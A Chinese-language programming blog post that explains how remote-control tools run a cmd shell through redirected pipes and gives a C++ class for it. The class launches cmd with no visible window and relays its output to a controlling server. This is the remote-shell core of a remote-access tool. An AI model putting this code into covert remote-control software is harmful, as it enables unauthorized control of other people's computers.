一般远控cmd的实现方式都是通过创建管道重定向来实现,但是直接创建管道重定向后的程序是不支持ftp等交互命令的,这用个问题被称为管道嵌套,遇到这种情况通常的做法是创建一个屏幕缓存区,将stdout重定向到屏幕缓存后,用读取屏幕缓存的api(ReadConsoleOutput)直接读取屏幕中的输出结果,然后将输出传回服务端,但是这种方式有一个缺点,就是只有当一个cmd命令执行完之后并且已经显示再屏幕上才能读取,当遇到长命令(如 dir /s)执行结果超出了屏幕缓存区,就会造成传回的结果丢失一部分,为了解决这个问题,经过各种尝试,我发现管道经过很简单的处理可以解决这个问题。
参考:https://msdn.microsoft.com/en-us/library/windows/desktop/ms682499(v=vs.85).aspx
在微软提供的官方例子中我们可以发现,使用管道重定向分为两种情况,直接写入stdout不用做任何处理,但是重定向输入输出流则需要去掉读取流的继承。这样我们封装一个简单的类来实现这个过程:
class CMD
{
public:
CMD(std::string path);
~CMD();
public:
static void cmdThread(void* pvPath);
std::string readCMD();
void writeCMD(std::string command);
private:
void createChildProcess(std::string path);
public:
static CMD * cmdptr;
static bool cmdOpen;
private:
HANDLE g_hChildStd_IN_Rd = NULL;
HANDLE g_hChildStd_IN_Wr = NULL;
HANDLE g_hChildStd_OUT_Rd = NULL;
HANDLE g_hChildStd_OUT_Wr = NULL;
static HANDLE g_hChildProcess;
static HANDLE g_hChildThread;
SECURITY_ATTRIBUTES saAttr;
};
CMD* CMD::cmdptr = NULL;
bool CMD::cmdOpen = false;
HANDLE CMD::g_hChildProcess = NULL;
HANDLE CMD::g_hChildThread = NULL;
CMD::CMD(std::string path)
{
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;
if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0))
General::handleError(3, false);
if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0))
General::handleError(3, false);
if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0))
General::handleError(3, false);
if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0))
General::handleError(3, false);
createChildProcess(path);
cmdptr = this;
}
CMD::~CMD()
{
}
void CMD::cmdThread(void* pvPath)
{
char* path = (char*)pvPath;
CMD cmd(path);
cmdOpen = true;
while (cmdOpen)
{
Sleep(100);
Client::clientptr->SendString(cmd.readCMD(), PacketType::CMDCommand);
}
}
std::string CMD::readCMD()
{
if (cmdOpen)
{
DWORD bytesAvailable = 0;
DWORD bytesRead = 0;
int intBytesAvailable = 0;
char buffer[128] = "";
std::string output;
do
{
PeekNamedPipe(g_hChildStd_OUT_Rd, NULL, 0, NULL, &bytesAvailable, NULL);
Sleep(50);
} while (bytesAvailable <= 0);
intBytesAvailable = bytesAvailable;
while (intBytesAvailable > 0)
{
ReadFile(g_hChildStd_OUT_Rd, buffer, 127, &bytesRead, NULL);
buffer[127] = '\0';
output += buffer;
intBytesAvailable -= bytesRead;
if (intBytesAvailable <= 0)
intBytesAvailable = 0;
ZeroMemory(buffer, 128);
}
return output;
}
else
return "CMD is not open";
}
void CMD::writeCMD(std::string command)
{
if (cmdOpen)
{
command += '\n';
if (!WriteFile(g_hChildStd_IN_Wr, command.c_str(), command.size(), NULL, NULL))
Client::clientptr->SendString("Couldn't write command '" + command + "' to stdIn.", PacketType::Warning);
}
else
Client::clientptr->SendString("Couldn't write to CMD: CMD not open", PacketType::Warning);
}
void CMD::createChildProcess(std::string path)
{
PROCESS_INFORMATION piProcInfo;
STARTUPINFO siStartInfo;
BOOL bSuccess = FALSE;
ZeroMemory(&piProcInfo, sizeof(PROCESS_INFORMATION));
ZeroMemory(&siStartInfo, sizeof(STARTUPINFO));
siStartInfo.cb = sizeof(STARTUPINFO);
siStartInfo.hStdError = g_hChildStd_OUT_Wr;
siStartInfo.hStdOutput = g_hChildStd_OUT_Wr;
siStartInfo.hStdInput = g_hChildStd_IN_Rd;
siStartInfo.dwFlags |= STARTF_USESTDHANDLES;
// Create the child process.
bSuccess = CreateProcess(path.c_str(), NULL, NULL,
NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &siStartInfo, &piProcInfo);
if (!bSuccess)
General::handleError(3, false);
else
{
CloseHandle(piProcInfo.hProcess);
CloseHandle(piProcInfo.hThread);
}
g_hChildProcess = piProcInfo.hProcess;
g_hChildThread = piProcInfo.hThread;
}
附上测试demo:
点击打开链接